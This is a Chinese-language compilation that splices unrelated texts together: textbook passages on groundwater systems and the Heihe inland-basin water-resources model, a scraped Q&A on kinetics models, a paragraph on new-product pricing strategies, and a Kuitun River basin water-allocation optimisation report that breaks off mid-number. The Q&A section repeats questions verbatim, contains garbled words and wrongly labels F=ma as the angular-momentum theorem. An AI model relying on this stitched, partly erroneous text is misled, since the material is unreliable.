20世纪40年代提出一般系统论以来，系统思想与系统方法广泛地渗透到各学科领域。不同的人对系统所下的定义各有侧重，目前国内比较普遍接受的定义是：系统乃是“由相互作用和相互依赖的若干组成部分结合而成的具有特定功能的整体”（钱学森等，1978）。系统思想与方法的核心是把所研究的对象看作一个有机的整体，并从整体的角度去考察、分析与处理事物。“地下水系统”这一术语的出现，一方面是系统思想与方法渗入水文地质领域的结果，另一方面则是水文地质学发展的必然产物（张人权，1987）。狭义的地下水系统“是指由隔水或相对隔水岩层圈闭的，具有统一水力联系的含水岩系统”（王大纯等，1995）。而从地下水系统的环境功能和社会属性角度来看，地下水系统包括地下含水系统和与之相关的社会、经济、环境要素的总体。将地下水作为系统来研究，其目的就是运用系统思想分析地下水问题，而运用系统工程的方法解决地下水问题。地下水系统的形成及其特性，一方面取决于自然因素，如地质和水文地质条件、水文和气象条件等，另一方面它受社会因素的控制和制约，如经济、技术、法律等，而且人类总是通过对地下水系统的操作和控制，来达到一定的目的。从这种意义上来讲，地下水系统是一个自然-人工复合系统。狭义的地下水系统由三部分组成（许涓铭等，1988）（图5-1）：（1）输入：即地下水系统接收环境的物质、能量或信息。在系统工程中，通常称输入为输入变量，它又可分为可控变量和非可控变量。前者是可受认为操作的，又称为决策变量，如抽水量、人工回灌量等，正是通过对决策变量的操作，来达到对地下水系统控制和管理的目的；（2）输出：即地下水系统对输入的响应，这种响应可以是系统状态的变化或系统向环境给出的物质、能量或信息。如上述输入引起的地下水位和泉流量变化即为地下水系统的输出，在系统工程中将输出称为输出变量。用来表示系统状态的一组独立的输出变量称为状态变量，如地下水位、地下水矿化度均为地下水系统的状态变量；图5-1　地下水系统据Willis和Yeh（1987）改编（3）系统实体：又称为水文地质实体，即系统的结构，如含水层的类型、结构、水文地质参数、边界条件等，它决定了输出对输入的响应程度。地下水系统的输入和输出关系可表示为：Y=f（X）　（1）输入、输出或系统实体（参数）随空间位置变化的地下水系统称为分布参数地下水系统（distributed groundwater system），而不随空间变化的称为集中参数地下水系统（lumped　groundwater system）。由于赋存地下水的含水岩体和相对隔水岩体是在一定的空间展布的，且地下水的输入（如降水入渗、人工开采等）和输出（如地下水位、泉流量）也与空间有关，故实际的地下水系统都是分布参数系统。其典型特征是不同位置的水文地质参数、补排量以及状态变量有差异。将地下水系统作为分布参数系统研究，可以更精确地刻画和分析系统各要素随时间和空间的变化。在特殊情况下也可将地下水系统概化为集中参数系统处理（许涓铭等，1988）。对地下水系统的研究可归结为三类问题，见表5-1:表5-1　地下水系统研究问题分类（1）识别问题：通过已知的系统输入和输出来识别水文地质实体，如模型识别就是这类问题；（2）预报问题：在地下水系统实体和输入已知的条件下预报地下水状态（输出）；（3）探测问题：在地下水系统实体已知，限定地下水状态（输出）情况下，探求输入量，这类问题也称为控制问题或管理问题。建立地下水管理模型实际上就是解决地下水系统的探测问题。

按照系统的观点，我国西北内流盆地平原区水资源系统可以用输入、输出和状态变量 ( 函数)描述，如图 5. 1 所示。图 5. 1 内流盆地平原区水资源系统概化示意图图 5. 1 中，水资源系统的输入变量 8 个，状态变量 4 个，输出变量 3 个，地表水与地下水之间的系统内部交换量2 个。这些变量均是位置和时间的函数，但为突出起见，变量函数中仅列出最重要的影响因素 ( t 代表时间，x，y，z 代表空间位置，s 代表断面位置) 。各类变量的含义分述如下。5. 2. 1 输入变量输入变量: 分为可控变量和不可控变量。1) Qr( t) : 出山口河流径流量，简称河流来水量，为不可控变量或部分可控变量 ( 修建山区水库进行调控) 。2) Qf( t) : 山前带暂时性洪沟进入盆地的水量，简称洪沟水量，为不可控变量。3) Qa( t) : 从河道中引到盆地内的水量，简称地表引水量，为可控变量。4) Qd( t) : 从盆地外调入或从盆地内调出的水量，简称跨地区调水量，为可控变量。5) Qp( t) : 盆地平原区大气降水量，为不可控变量。6) Qi( t) : 基岩山区和区外地下水向盆地平原区的侧向流入量，简称侧向流入量，可作为不可控变量。7) Qb( t) : 出山口位置通过河谷含水层地下水向盆地平原区的侧向流入量，即通常所说的河床潜流量，一般为不可控变量。8) Qw( t) : 地下水人工开采量，为可控变量。需要说明的是，地表引水量和地下水开采量是人工对系统的干预，而且水的用途很多 ( 如灌溉、水库蓄水、工业用水、地下水人工补给等) ，虽然发生在系统内部，但却是影响状态变量的重要输入变量。5. 2. 2 状态变量状态变量: 输入信息在系统内部的反映。1) Q ( s，t) : 河流径流量分布函数，主要随时间和河流断面位置不同而变化。2) C ( s，t) : 河流水质分布函数，随时间和河流断面位置不同而变化。3) H ( x，y，z，t) : 地下水水位 ( 头) 分布函数，随时间和空间变化。4) C ( x，y，z，t) : 地下水的含盐量分布函数，随时间和空间变化。5. 2. 3 水资源系统内部交换量水资源系统内部交换量随状态变量变化而变化。1) Ql( t) : 地表水对地下水的入渗补给量。2) Qs( t) : 地下水的溢出量。5. 2. 4 输出变量输出变量随状态变量变化而变化，是位置和时间的函数。1) Qe( x，y，z，t) ; 地表水和地下水的蒸发量。2) Qt( x，y，z，t) : 植被和作物等的蒸腾量和本身所吸收的水分。3) Qo( t) : 侧向流出盆地的地下水量。对黑河干流，不存在跨流域调水量和侧向流出量，本次研究也暂不考虑地表水水质和地下水含盐量，因此，图 5. 1 可简化表示为图 5. 2。图 5. 2 黑河干流平原区水资源系统概化示意图现状条件下，黑河干流莺落峡上游尚未修建控制性水利工程，除梨园河有少量汛期洪水进入黑河干流外，其余小型河流的来水量全部被引入相应的灌区，因此输入变量中的河流来水量Qr( t) 作为不可控变量 ( 指莺落峡来水量) ，而小型河流的来水量作为地表引水量处理; 其余变量意义同前。

问题一：什么是波动力学模型 这些不是SA罚物理的内容，是SAT化学的内容。 一时半会儿说不清，建议你买本高中化学教材看下:人教版化学选修 物质结构与性质。 要把你问的内容学懂，起码要2小时。 问题二：动力学模型的介绍 应用系统动力学的基本理论和DYNAMO语言建立的仿真模型。系统动力学模型可用于宏观经济和微观经济。 问题三：一级动力学模型、伪一级动力学模型和准一级动力学模型分别是什么？有什么区别和联系？ 伪一级动力学模型不知道 一级动力学模型就是一级反应 准一级动力学模型就是一种反应物大大过量，使其浓度可视为不变，原本的二级反应就变成了一级反应 问题四：反应动力学的动力学模型 按化学反应的不同特点和不同的应用要求，常用的动力学模型有： 从实用角度出发，不涉及反应机理，以较简单的数学方程式对实验数据进行拟合，通常用幂函数式表示。对于有成千上万种组分参加的复杂反应过程（如石油炼制中的催化裂化），建立描述每种组分在反应过程中的变化的分子反应模型是不可能的。近年来发展了集总动力学方法，将反应系统中的所有组分归并成数目有限的集总组分，然后建立集总组分的动力学模型。集总动力学模型已成功地用于催化裂化、催化重整、加氢裂化等石油炼制过程。 问题五：系统动力学仿真模型主要由哪些部分组成 系统动力学模型流图简称SD流图，是指由专用符号组成用以表示因果关系环中各个变量之间相互关系的图示。它能表示出更多系统结构和系统行为的信息，是建立SD模型必不可少的环节，对建立SD模型起着重要作用。其专用符号主要有八个： 1）水平变量 水平变量符号是表示水平变量的积累状态的符号，它是SD模型中最主要的变量。它由五部分组成，即：输入速率，输出速率，流线，变量名称及方程代码（L），如图 所示。 2）速率变量 速率变量符号是表示水平变量变化速率的变量。它能控制水平变量的变化速度，是可控变量。它由三部分组成，即：输入信息变量，变量名称及方程代码（R）。如图 所示。 3）辅助变量 辅助变量符号是辅助水平变量等的变量。如图 所示。 4）外生变量 外生变量符号如图 所示。 5）表函数 表函数符号如图 所示。 6）常数 常数符号如图 所示。 7）流线 流线符号又有物质流线，信息流线，资金流线，及订货流线四种： 物质流线符号是表示系统中流动着的实体，如图 所示。 信息流线符号是表示联接积累与流速的信息通道，如图 所示。 资金流线符号是表示资金，存款及货币的流向，如图 所示。 订货流线符号是表示订货量与需求量的流向，如图 所示。 8）源与沟 源符号与沟符号如图 所示。 您好！ 您提出的问题，我的答案已经给出，请您浏览一遍！ 有什么不懂的地方欢迎回复我！ 希望我的答案对您有所帮助！ 如果满意请及时点击【采纳为满意答案】按钮 若是客户端的朋友在右上角评价点【满意】 您的采纳！ 是我答题的动力 也同时给您带来知识和财富值 O(∩_∩)O谢谢您！！！ 问题六：什么是降解动力学模型 将复杂的动力学模型变为求解一阶微分方程的形式。 问题七：动力学的三大基本公式是什么？ 动力学普遍定理是质点系动力学的基本公式，它包括动量定理、动量矩定理、动能定理以及由这三个基本定理推导出来的其他一些定理。动量、动量矩和动能是描述质点、质点系和刚体运动的基本物理量。作用于力学模型上的力或力矩，与这些物理量之间的关系构成了动力学普遍定理。 动量矩定理:F=ma（合外力提供物体的加速度）; 动能定理:W=1/2mV^2-1/2mv^2（合外力做的功等于物体的动能的改变量）; 动量定理:Ft=mV-mv（合外力的冲量等于物体动量的变化量）。 问题八：什么是波动力学模型 这些不是SA罚物理的内容，是SAT化学的内容。 一时半会儿说不清，建议你买本高中化学教材看下:人教版化学选修 物质结构与性质。 要把你问的内容学懂，起码要2小时。 问题九：一级动力学模型、伪一级动力学模型和准一级动力学模型分别是什么？有什么区别和联系？ 伪一级动力学模型不知道 一级动力学模型就是一级反应 准一级动力学模型就是一种反应物大大过量，使其浓度可视为不变，原本的二级反应就变成了一级反应 问题十：动力学模型的介绍 应用系统动力学的基本理论和DYNAMO语言建立的仿真模型。系统动力学模型可用于宏观经济和微观经济。

常见的新产品定价策略有三种：　　①高价漂取策略。这种策略又称为撤脂价格策略。这是厂商对其效能高、质量优的新产品所采取的一种策略。人们的消费结构、需求量等，是由其收入水平决定的。收入高的阶层往往对高质量、高效能的新产品感兴趣。有的企业就把一部分消费者作为它的目标顾客群，利用高收入阶层愿意比别人支付更高价格，购买对其有很大现实价值的产品这一情况，制定一个比较高的价格，以获得高额利润，待满足了高收入阶层的需求之后，再逐步降低销价。　　②低价渗透策略。低价渗透策略，也就是把商品价格定在相对较低的水平上，以便新产品迅速进入市场，取得在市场上的主动权，以获取长期水平上，以便新产品迅速进入市场，取得在市场上的主动权，以获取长利润最大化。　　③中间路线策略。中间路线策略又称为满意价格策略，是指企业将产品价格定在高价和低价之间，兼顾生产者和消费者利益，使两者都能得到满意的价格策略。实行这一策略的宗旨是在长期稳定的增长中，获取平均利润。因此这一策略为广大企业所重视。

一、水资源与开发利用现状概况奎屯河流域地处位于新疆天山北坡经济带西缘的“金三角”地带，流域内年平均地表水资源量为16.21×108 m3，地下水天然补给量1.62×108 m3，水资源总量为17.83×108 m3。平原区地下水总补给量8.41×108 m3，其中转化资源量6.79×108 m3，占总补给量的81%。地下水可开采量为6.25×108 m3，2003年实际开采量3.39×108 m3。2003年奎屯河流域总用水量为14.65×108 m3，其中生活用水量为0.34×108 m3，占总用水量的2%；生产用水量11.28×108 m3，占总用水量的77%，而其中的农业用水量为10.54×108 m3，占总用水量的72%；人工生态用水1.8×108 m3，占总用水量的12%。奎屯河流域总用水量为水资源总量的82%，地表水资源利用率70%，几条主要河流奎屯河、四棵树河、古尔图河的引水率均超过了80%，水资源利用程度明显偏高，造成国民经济用水挤占生态用水，致使本区生态状况呈恶化趋势。因此，必须调整用水结构，强化节水，充分考虑生态用水的基本需求，促使奎屯河流域社会、经济与生态的协调发展。二、水资源利用效率分析在奎屯河流域，农业用水占全部用水量的70%以上，用水量水消耗系数为7.87 m3/kg，远远超过了全国平均水平（1.102 m3/kg），农业水资源利用效率系数仅为0.13kg/m3。工业用水的重复利用率为40%左右，流域除独山子区工业万元产值用水量24 m3，其他地区万元产值耗水量平均165 m3，比全国平均水平高60%以上。以单位用水量产出的GDP衡量用水效率，2003年奎屯河流域平均用水效率为5.6元/m3，仅为2000年全国平均水平的34%，水资源有效利用率仅为54%。三、水资源开发利用中存在的问题随着流域人口增加和经济、社会的发展，奎屯河流域水资源开发利用程度不断提高，流域出现了典型的资源性缺水现象，致使进入下游水量急剧减少，导致河流下游断流。从而，一方面造成流域灌区内部地下水位升高，土壤盐渍化，作物减产，土地弃耕；对于非耕地亦造成草木生长稀疏，林木退化；流域下游区域地下水位下降，甘家湖天然林保护区及艾比湖流域生态环境恶化河流中下游断流，地下水位持续下降。流域下游地区环境恶化。四、奎屯河流域水资源优化配置的指导思想为遏止奎屯河流域生态环境恶化的趋势，要以生态建设为根本，以水资源的科学管理、优化配置、高效利用和有效保护为核心，上、中、下游统筹规划，工程措施和非工程措施相结合，生态效益与经济效益兼顾，协调生活、生产和生态用水，充分运用法律、行政、经济、科技、宣传、教育手段，进行综合治理的指导思想。从全局利益的高度着眼，以水资源的可持续利用促进当地经济社会可持续发展为目标，系统全面考虑流域较长时期的发展需求，调整产业结构和用水结构，进一步协调生活、生产和生态用水，逐步形成符合奎屯河流域特点的、完善的水资源统一管理和生态环境保护体系，实现流域人口、资源、环境与经济社会的协调发展。五、奎屯河流域水资源优化配置目标此确定奎屯河流域水资源优化配置的总目标为：通过合理调度地表水，优化开采地下水，在保证人民生活用水的前提下，维持艾比湖、甘家湖天然林保护区现状的基础上，合理分配工业、农业用水比例，逐步恢复古尔图河、四棵树河下游末端林地。其次是恢复奎屯河在保护区范围内的衰败林项，保障其需水量，使水资源开发获得最佳的经济、环境、社会效益，使区域经济向良性循环方向发展。六、奎屯河流域水资源优化配置方案生成根据奎屯河流域水资源优化配置目标、原则及具体问题，结合奎屯河流域规划、新疆“十一五”跨流域调水工程规划，主要从开源和节流角度拟定奎屯河流域水资源配置可行的方案集，如表9-26。表9-26 奎屯河流域水资源配置可行方案设置表在现状供水条件下，将各种可能的配置措施投入组合成其他的配置方案。其中挖潜，指对流域现有蓄、引、排工程挖潜改造；节水，包括工农业节水。通过工农业节水技术的实施，不同规划水平年高、中、低三种需水方案比现状条件下需水可减少2010年0.45×108～1.17×108m3、2020年1.53×108～2.85×108m3、2030年2.03×108～4.42×108 m3。污水回用，指城镇生活及工业用水排放量，给下游天然生态供水，规划不同水平年污水回用水量分别为：2010年0.63×108m3、2020年1.2×108m3、2030年1.88×108m3。地下水开采工程，按流域规划，统一开采地下水；山区调蓄工程，即流域规划奎屯河上的特门水库、将军庙水库、红山水库和四棵树河上的吉尔格勒水库，总库容1.95×108 m3；跨流域调水工程，从国际河流伊犁喀什河向奎屯河流域调水5.0×108m3。七、奎屯河流域供需水分析（一）奎屯河流域现状2003年供需平衡分析奎屯河流域现状2003年需水量18.21×108 m3，其中生活、生产、生态需水分别为0.34×108 m3、13.48×108 m3、4.39×108 m3，各占总需水量的1.8%、74.1%、24.1%，而生产需水中，农业需水为12.74×108 m3，占总需水量的70%。依据统计资料，奎屯河流域2003年供水量为15.42×108 m3，其中地表水供水量为11.32×108 m3，地下水供水量为3.39×108 m3，侧向排入艾比湖0.42×108 m3，排入奎屯河下游排碱渠0.29×108 m3，缺水2.84×108 m3。详见表9-27。表9-27 2003年供需平衡分析表（单位：108 m3）由表中可以看出，现状条件下，奎屯河流域缺水2.79×108 m3，其中农业缺水0.91×108 m3，天然生态缺水1.88×108 m3。（二）奎屯河流域不同水平年不同配置方案供需分析1.现状可供水量分析可供水量是指在不同水平年、不同来水保证率的情况下，通过各类水利工程设施可以为各行政区、各部门提供的水量。可供水量的大小与水资源的总量、水利工程的供水能力及用水水平有关，同时也受国家、地方或各用水户之间的分水方案制约，在用水水平、水资源总量一定的情况下，可供水量主要取决于水源工程的类别、数量、设计规模和运行方式等。现状水利工程、用水水平、分水方案条件下，奎屯河流域不同来水保证率情况下的可供水量详见表9-28。表9-28 奎屯河流域不同来水保证率时的可供水量表（单位：108 m3）由表中可以看出，在来水保证率50%（平水年）时，可供水量为14.95×108 m3，其中地表水可供水量10.89×108 m3，地下水开采量3.39×108 m3，地下水侧向排入艾比湖0.40×108 m3，排入下游排碱渠0.27×108 m3。2.现状条件下，不同规划水平年，来水保证率50%时供需分析奎屯河流域2003年地下水开采量为3.39×108 m3，地下水可开采量为6.25×108 m3。由于现状地下水开采没有统一规划，在奎屯市、乌苏市、八十四户乡、甘河子乡等地开采较集中，开采量大，已成为超采区。奎屯河流域规划按地貌单元、水文地质条件，将奎屯河流域平原区分为控制开采区、调蓄开采区、禁止开采区（指自然生态单元）等地下水开发利用分区。规划到2010，地下水开采量为3.47×108 m3；到2020年，地下水开采量为4.41×108 m3；2030年，地下水开采量为6.25×108 m3。据此，不同规划水平年多年平均2010年、2020年、2030年可供水量分别为15.03×108 m3、15.97×108 m3、17.81×108 m3。3.来水保证率50%、中等需水情况下，不同配置方案供需分析由表9-29中可以看出，来水保证率50%时，不同规划水平年不同需水方案，均缺水。2010水平年缺水5.12×108～8.08×108 m3，2020水平年缺水5.99×108～11.1×108 m3，2030水平年缺水4.8×108～11.61×108 m3，缺水占总需水量比例均大于20%。偏旱年、干旱年缺水会更明显。表9-29 不同规划水平年来水保证率50%年供需分析表由表9-30中可以看出，中等需水情况下，各种配置方案除外流域调水方案6外均缺水。方案1现状配置条件下，2030年缺水达总需水量的48%，将严重影响国民经济发展和人民生活水平的提高。方案2在挖潜改造和工农业节水情况下，一方面可供水量增加；另一方面，需水量相对减少。此方案配置条件下，到2030年缺水仍达37%，比方案1缺水量占总需水量的比例减少11%。配置方案3污水回用后缺水减少，但缺水也达到需水量的26%～30%。配置方案4实行地下水开采工程，缺水有逐步减少的趋势，到规划水平年2030年仅缺水18%。配置方案5修建山区调蓄水库后，可有效地缓解缺水情况。只有在配置方案6外流域调水情况下，可供水量大于流域内需水量，可向艾比湖供水0.14×108～1.55×108 m3，有利于改善该区的生态环境现状。由此，随着人口增加和经济的快速发展，奎屯河流域缺水将日渐严重。为实现奎屯河流域生态、社会和经济的可持续发展，必须采取工程和非工程措施，对有限的水资源进行优化配置。八、奎屯河流域水资源优化配置模型建立及求解（一）模型规划1.管理区的划分根据奎屯河流域的地理特征、水资源条件、灌区分布、生态环境现状、行政区划及发展规划，可将流域划分为若干子区（图9-2）。子区划分遵循以下原则：1）尽量按照流域地形、地貌条件划分，以便计算可利用水资源量；2）尽可能与行政分区一致，以方便资料收集整理，增加实施的可能性；3）分区要与水资源调查评价中的分区相协调，以便采用水资源评价的成果。依据以上原则可将奎屯河流域划分为Q个子区，某个子区用l表示，l=1，2，…，Q，Q=12。在每个子区内结合地下水位埋深进一步划分次级单元，次级单元不同埋深用不同的编码表示。2.水源类型根据奎屯河流域的实际情况，其供水水源有当地地表水、地下水、回用水、跨流域调水四种类型。3.用水部门区域用水一般可分为生活用水、生产用水和生态用水三大类。根据奎屯河流域实际，每一类用水可分为若干具体的用水部门。如生活用水分城镇居民、农村居民（包括牲畜用水）生活用水；生产用水包括工业用水、农业用水；生态用水包括人工生态用水、天然生态用水等。表9-30 不同配置方案平水年可供水量表（单位：108 m3）（二）多目标优化配置模型构建1.决策变量通过操纵可控变量，对水资源系统进行调控，并使系统的目标最终达到最优，该可控变量即为决策变量。根据奎屯河流域实际情况，水资源优化配置模型的决策变量是不同水源分配给不同用水部门的水量。分别用下式表示，即准噶尔盆地地下水资源及其环境问题调查评价式中：为i水源供给l子区j部门的水量。图9-2 奎屯河流域水资源优化配置分区图依据奎屯河流域实际，考虑到各用水部门的季节性及水源类型的差异，作如下说明：①生活用水考虑到用水的便利性、清洁性及用水习惯，全部使用地下水；②工业用水考虑到集中供水及处理方便等因素，全部使用地下水；③农业用水由地表水和地下水共同提供；④生态用水只考虑用地表水灌溉的植被面积，而对地下水维系的生态系统通过约束地下水位调控。2.目标函数奎屯河流域水资源优化配置的目标是在维持水资源可持续利用的条件下，实现区域经济、社会和生态环境综合效益最大。其中涉及经济目标、社会目标、生态目标等，而反应经济、社会、生态效益的指标非常多，且部分社会效益和生态效益指标不易量化，所以建立水资源优化配置模型时尽量选择能定量、有代表性的效益指标构造优化模型的目标函数。（1）经济效益目标选择在经济学中反应效益的目标众多，如产值、利润、国民经济总产值和国内生产总值等。本次计算选用工农业产值最大作为经济目标。准噶尔盆地地下水资源及其环境问题调查评价式中：为l子区j部门的工业、农业用水量；为l子区j部门单位水量产值系数；对工业用水部门可用万元产值用水定额推求，干旱区没有灌溉就没有农业，对农业用水部门用灌溉定额、灌溉面积和农业产值推求；为i水源分配给l子区j用水部门的水量。工农业生产总值最大，反映了同等水量在不同用水部门间优化配置后取得的经济效益，但是，一方面，同一部门的水量来自不同的水源时，由于单位供水成本存在差异，从不同水源获得同等量供水的费用不同；另一方面，为满足经济社会对水资源需求，实现水资源可持续利用和经济社会协调发展，在工农业产值最大的情况下，要求水量消耗最少，且水资源配置系统的总投入费用最小作为经济效益目标。依据奎屯河流域实际情况，不同水源间以优先使用当地地表水、地下水、回用水，最后使用外调水。水资源消耗量最小目标：准噶尔盆地地下水资源及其环境问题调查评价式中：W为流域消耗的总水量，108 m3；为i水源分配给l子区j用水部门的水量，108 m3。（2）社会目标选择社会目标极其广泛，包括社会稳定、生活质量、就业率、文化教育等。建模时，首先保证城市和农村的生活用水，作为保障生活质量的间接反映，并作为约束条件处理。另一方面，从社会发展的角度讲，粮食供应是社会稳定的主要影响因素之一，可选择粮食产量作为社会目标的表征指标。据此，根据规划水平年的人口发展，确定粮食种植面积，保证自给自足。（3）生态目标选择水资源优化配置的生态目标是维持现有生态系统平衡、恢复或改善生态系统等。从水资源利用的角度讲，生态供水量是生态平衡状态的间接度量。据此，选择在基本保证生态需水的前提下，水量的分配。3.约束条件（1）资源约束1）地表水约束。各子区不同用水部门引用地表水量之和应小于可供地表水量。准噶尔盆地地下水资源及其环境问题调查评价2）地下水约束。考虑到地下水维系天然植被的功能，各子区不同用水部门引用的地下水量应小于允许开采量。准噶尔盆地地下水资源及其环境问题调查评价3）目标约束。最大程度地满足人民生活及各种经济活动对水资源的需求。准噶尔盆地地下水资源及其环境问题调查评价式中：需水量（min）=α×需水量（max），α为基本用水系数，α=1，表示生活用水及天然生态需水必须保证；0.5＜α＜1.0，表示生产（工业、农业）用水可适量减少；0.6＜α＜1.0，表示人工生态用水应尽量保证。（2）地下水位约束为防止由于地下水位过高或地下水位过低，导致土壤盐渍化和沙漠化，必须将灌区地下水位调控在一定的范围内。鉴于奎屯河流域下游平原区地下水以垂向交换为主，因此，在忽略单元之间水平方向水量交换的前提下，第l单元地下水位约束可用如下不等式表示：准噶尔盆地地下水资源及其环境问题调查评价（3）非负约束准噶尔盆地地下水资源及其环境问题调查评价（三）多目标优化配置模型求解1.计算方法概述本次采用MATLAB 遗传算法优化工具箱对上述模型进行求解。2.遗传算法基本原理生物的进化是一个奇妙的优化过程，它通过选择淘汰，突然变异，基因遗传等规律产生适应环境变化的优良物种。遗传算法是根据生物进化思想而启发得出的一种全局优化算法。遗传算法的概念最早是由Bagley J D在1967年提出的；而开始遗传算法的理论和方法的系统性研究的是1975年，这一开创性工作是由Michigan大学的J.H.Holland所实行。当时，其主要目的是说明自然和人工系统的自适应过程。3.遗传算法的求解步骤遗传算法提供了一种求解复杂系统优化问题的通用框架，它不依赖于问题的领域和种类。对一个需要进行优化计算的实际应用问题，一般可按下述步骤来进行遗传算法求解。图9-3 遗传算法的基本流程1）确定决策变量及其各种约束条件，即确定出个体的表现型和问题的解空间。2）建立优化模型，确定出目标函数的类型，是求目标函数的最大值还是求最小值，并确定目标函数的数学描述形式或量化方法。3）确定表示可行的染色体编码方法，也即确定出个体的基因型及遗传算法的搜索空间。4）确定解码方法，即确定出由个体基因型到个体表现型的对应关系或转换方法。5）确定个体适应度的量化评价方法，即确定出由目标函数值到个体适应度的转换规则。6）设计遗传算子，即确定出选择运算、交叉运算、变异运算等遗传算子的具体操作方法。7）确定遗传算法的有关运行参数，即确定出遗传算法的群体规模、最大迭代代数、选择算子、交叉算子、变异算子等参数。具体详见图9-3。4.参数选择（1）各目标权重系数通过对各个目标进行加权，并不断调整各目标的权重值以达到一个较理想的规划方案，最终确定多目标模型中水资源节约目标的权重系数为0.6，工农业经济目标权重系数各为0.2。生态环境方面由于目标难以定量化，所以把它考虑在生态环境需水量和地下水位约束条件中。（2）可供水量可供水量包括地表水可供水量和地下水可供水量。不同的来水频率和配置方案，可供水量不同。通过水利工程挖潜改造，工农业节水，污水回用及地下水开采工程的实施，可有效缓解奎屯河流域缺水，但缺水仍达20%以上。修建山区调蓄水库和外流域调水是从根本上解决奎屯河流域缺水的必要措施，因此本次主要计算在来水50%（多年平均）保证率、中等需水情况下，充分利用当地水资源即配置方案5的水量分配。（3）需水量不同水平年需水量、农业用水定额、工业万元产值用水量，在需水预测计算时已详述。（4）地下水位约束奎屯河流域存在的生态环境问题与地下水位密切相关，因此，确定合理的地下水位，对于奎屯河流域生态环境保护至关重要，而地下水位的高低直接受控于地下水资源的开发利用模式。因此，为遏止奎屯河流域生态环境恶化，必须采用合理的地下水开发利用模式，协调生活、生产和生态用水，实现流域人口、资源、环境与经济社会的协调发展。1）山前洪积砾质倾斜平原区。该区地下水位要有利于地下水水库调蓄，获得最大的地下水水库库容，从而发挥地下水含水层的最大调蓄能力。2）冲积平原灌区。自溢出带至一二六团，该区是奎屯河流域的农业灌溉区。该区地下水位主要研究如何控制地下水位，使得灌溉期前，有利于灌溉水入渗补给地下水，灌溉期后又不造成土壤盐渍化。根据观测资料，对灌区地下水生态水位在灌溉期前控制在4～6 m，灌溉期后，控制在3～5 m，以形成最大的地下库容，且土壤不产生盐渍化。3）冲湖积平原甘家湖天然林保护区。根据调查研究，天然植被的生长状态与地下水埋深关系详见表9-31。表9-31 准噶尔盆地南缘主要植被生长状态与地下水埋深关系表根据调查研究成果，该区地下水位控制在1.5～7 m，天然植被生长较好。为此，在维持现状的基础上，应考虑逐步改善该区的生态环境现状，规划各水平年2010年、2020年、2030年进入甘家湖地区的水量分别为1.92×108 m3、3.13×108 m3、3.54×108 m3。九、水资源优化配置模型求解结果及分析（一）计算结果采用MATLAB 遗传算法优化工具箱对上述模型进行求解，其结果详见表9-32～表9-35。（二）结果分析1.现状水平的水资源优化配置成果及分析现状水平，奎屯河流域水资源总量为17.83×108 m3，其中地表水资源16.21×108 m3，山前侧向补给资源1.11×108 m3，降水补给0.51×108 m3。奎屯河流域总需水量18.21×108 m3，其中生活需水量0.34×108 m3，工业需水量0.74×108 m3，农业需水量12.74×108 m3，人工生态需水1.80×108 m3，天然生态需水2.59×108 m3。生活用水占总用水量2%，工业用水占5%，农业用水占的77%，生态用水占16%。按乌苏市与农七师分水协议，采用水资源优化配置模型进行现状水平水资源优化配置计算，见表9-32，流域平均总供水量15.37×108 m3，其中地表水供水量11.27×108 m3，地下水供水量4.1×108 m3，总缺水量2.84×108 m3，缺水率15.6%。缺水分布为：中游农田灌溉缺水0.91×108 m3，下游天然生态缺水1.88×108 m3，无地表径流进入甘家湖区。地下水开采比例在细土平原区地下水埋深1～5 m区，农业开采地下水比例在20%～30%，盐渍化严重；在水位埋深5～10 m区农业开采地下水比例在15%～25%。在山前倾斜砾质平原水位埋深大于50 m区，农业未开采地下水。2.2010年水平水资源优化配置成果及分析2010年水平，奎屯河流域水资源总量为17.83×108 m3，其中地表水资源16.21×108 m3，山前侧向补给资源1.11×108 m3，降水补给0.51×108 m3。奎屯河流域总需水量22.44×108 m3，其中生活需水量0.71×108 m3，工业需水量1.18×108 m3，农业需水量10.6×108 m3，人工生态需水7.36×108 m3，天然生态需水2.59×108 m3。生活用水占总用水量3%，工业用水占5%，农业用水占的47%，生态用水占45%。按配置方案5及乌苏市与农七师分水协议，采用水资源优化配置模型进行现状水平水资源优化配置计算，见表9-33，流域平均总供水量17.52×108 m3，其中地表水供水量13.38×108 m3，地下水供水量4.14×108 m3，总缺水量4.7×108 m3，缺水率22%。缺水分布为：中游农田灌溉缺水2.71×108 m3，人工生态缺水2.21×108 m3，有1.92×108 m3地表径流进入甘家湖区。表9-32 2003年奎屯河流域水资源优化结果表（单位：104 m3）表9-33 2010年奎屯河流域水资源优化结果表（单位：104 m3）地下水开采比例在细土平原区地下水埋深1～5 m区，农业开采地下水比例在16%～30%之间；在水位埋深5～10 m区农业开采地下水比例在13%～20%之间，详见图9-4。在山前倾斜砾质平原水位埋深大于50 m区，农业未开采地下水。3.2020年水平水资源优化配置成果及分析2020年水平，奎屯河流域水资源总量为17.83×108 m3，其中地表水资源16.21×108 m3，山前侧向补给资源1.11×108 m3，降水补给0.51×108 m3。奎屯河流域总需水量24.11×108 m3，其中生活需水量0.95×108 m3，工业需水量2.42×108 m3，农业需水量9.39×108 m3，人工生态需水7.55×108 m3，天然生态需水3.80×108 m3。生活用水占总用水量4%，工业用水占10%，农业用水占的39%，生态用水占47%。按配置方案5及乌苏市与农七师分水协议，采用水资源优化配置模型进行现状水平水资源优化配置计算，见表9-34，流域平均总供水量19.17×108 m3，其中地表水供水量14.09×108 m3，地下水供水量5.08×108 m3，总缺水量4.94×108 m3，缺水率21%。缺水分布为：工业缺水0.62×108 m3，中游农田灌溉缺水2.39×108 m3，人工生态缺水1.93×108 m3，有3.13×108 m3地表径流进入甘家湖区。图9-4 奎屯河流域灌区地下水开采所占比例等值线图地下水开采比例在细土平原区地下水埋深1～5 m区，农业开采地下水比例在20%～35%；在水位埋深5～10 m区农业开采地下水比例在16%～25%，农业开采地下水比例增加。在山前倾斜砾质平原水位埋深大于50 m区，农业未开采地下水。4.2030年水平水资源优化配置成果及分析2030年水平，奎屯河流域水资源总量为17.83×108 m3，其中地表水资源16.21×108 m3，山前侧向补给资源1.11×108 m3，降水补给0.51×108 m3。奎屯河流域总需水量25.27×108 m3，其中生活需水量1.18×108 m3，工业需水量4.15×108 m3，农业需水量8.32×108 m3，人工生态需水7.41×108 m3，天然生态需水4.21×108 m3。生活用水占总用水量5%，工业用水占16%，农业用水占的33%，生态用水占46%。表9-34 2020年奎屯河流域水资源优化结果表（单位：104 m3）按配置方案5及乌苏市与农七师分水协议，采用水资源优化配置模型进行现状水平水资源优化配置计算，见表9-35，流域平均总供水量21.21×108 m3，其中地表水供水量14.28×108 m3，地下水供水量6.93×10

